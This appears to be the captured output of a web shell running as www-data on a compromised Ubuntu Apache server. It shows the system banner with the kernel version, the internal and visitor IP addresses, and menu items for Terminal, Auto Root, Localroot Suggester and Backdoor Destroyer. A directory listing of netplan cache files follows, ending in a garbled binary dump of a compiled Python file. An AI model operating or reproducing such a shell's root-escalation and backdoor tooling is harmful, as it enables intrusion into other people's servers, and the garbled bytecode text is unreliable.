Linux jobworks 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026 x86_64
Apache/2.4.58 (Ubuntu)
Server IP : 10.0.1.5 & Your IP : 216.73.217.52
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
netplan /
netplan_cli /
cli /
__pycache__ /
Delete
Unzip
Name
Size
Permission
Date
Action
__init__.cpython-312.pyc
143
B
-rw-r--r--
2025-11-05 21:52
core.cpython-312.pyc
2.7
KB
-rw-r--r--
2025-11-05 21:52
ovs.cpython-312.pyc
7.42
KB
-rw-r--r--
2025-11-05 21:52
sriov.cpython-312.pyc
22.79
KB
-rw-r--r--
2025-11-05 21:52
state.cpython-312.pyc
34.12
KB
-rw-r--r--
2025-11-05 21:52
state_diff.cpython-312.pyc
37.5
KB
-rw-r--r--
2025-11-05 21:52
utils.cpython-312.pyc
17.58
KB
-rw-r--r--
2025-11-05 21:52
Save
Rename
� ���gˉ � � � d dl mZ d dlZd dlZd dlmZmZ d dlmZ d dl m Z d dlmZm Z mZ d dlmZmZ G d� d ej$ � Z G d � d� Zy)� )�defaultdictN)�AF_INET�AF_INET6)�AbstractSet)�NetplanRoute)�SystemConfigState�NetplanConfigState�DEVICE_TYPES)�is_valid_macaddress�route_table_lookupc � � e Zd Zd� Zy)�DiffJSONEncoderc � � t |t � r|j � S t j j | |� S �N)� isinstancer �to_dict�json�JSONEncoder�default)�self�objs �0/usr/share/netplan/netplan_cli/cli/state_diff.pyr zDiffJSONEncoder.default s3 � ��c�<�(��;�;�=� � ���'�'��c�2�2� N)�__name__� __module__�__qualname__r � r r r r s � �3r r c � � e Zd ZdZdedefd�Zdefd�Zd+de defd�Z defd �Zd e de dedefd�Z d ededdfd�Zdedefd�Zdedefd�Zde de fd�Zd ededdfd�Zd ededdfd�Zd ededdfd�Zd ededdfd�Zdede ddfd�Zd ededdfd�Zdedefd�Zd edee fd �Zd!ee d"ee d edefd#�Zdefd$�Zdeddfd%�Z defd&�Z!d'edefd(�Z"d)e defd*�Z#y),�NetplanDiffStatez� DiffState is mainly responsible for getting both system's and Netplan's configuration state, compare them and provide a data-structure containing the differences it found. �system_state� netplan_statec �. � || _ || _ i | _ y r )r r! �route_lookup_table_names)r r r! s r �__init__zNetplanDiffState.__init__, s � �(���*���(*��%r �returnc � � di i}| j � }| j � }t t |j � � t |j � � z � }|D ] }i |d |<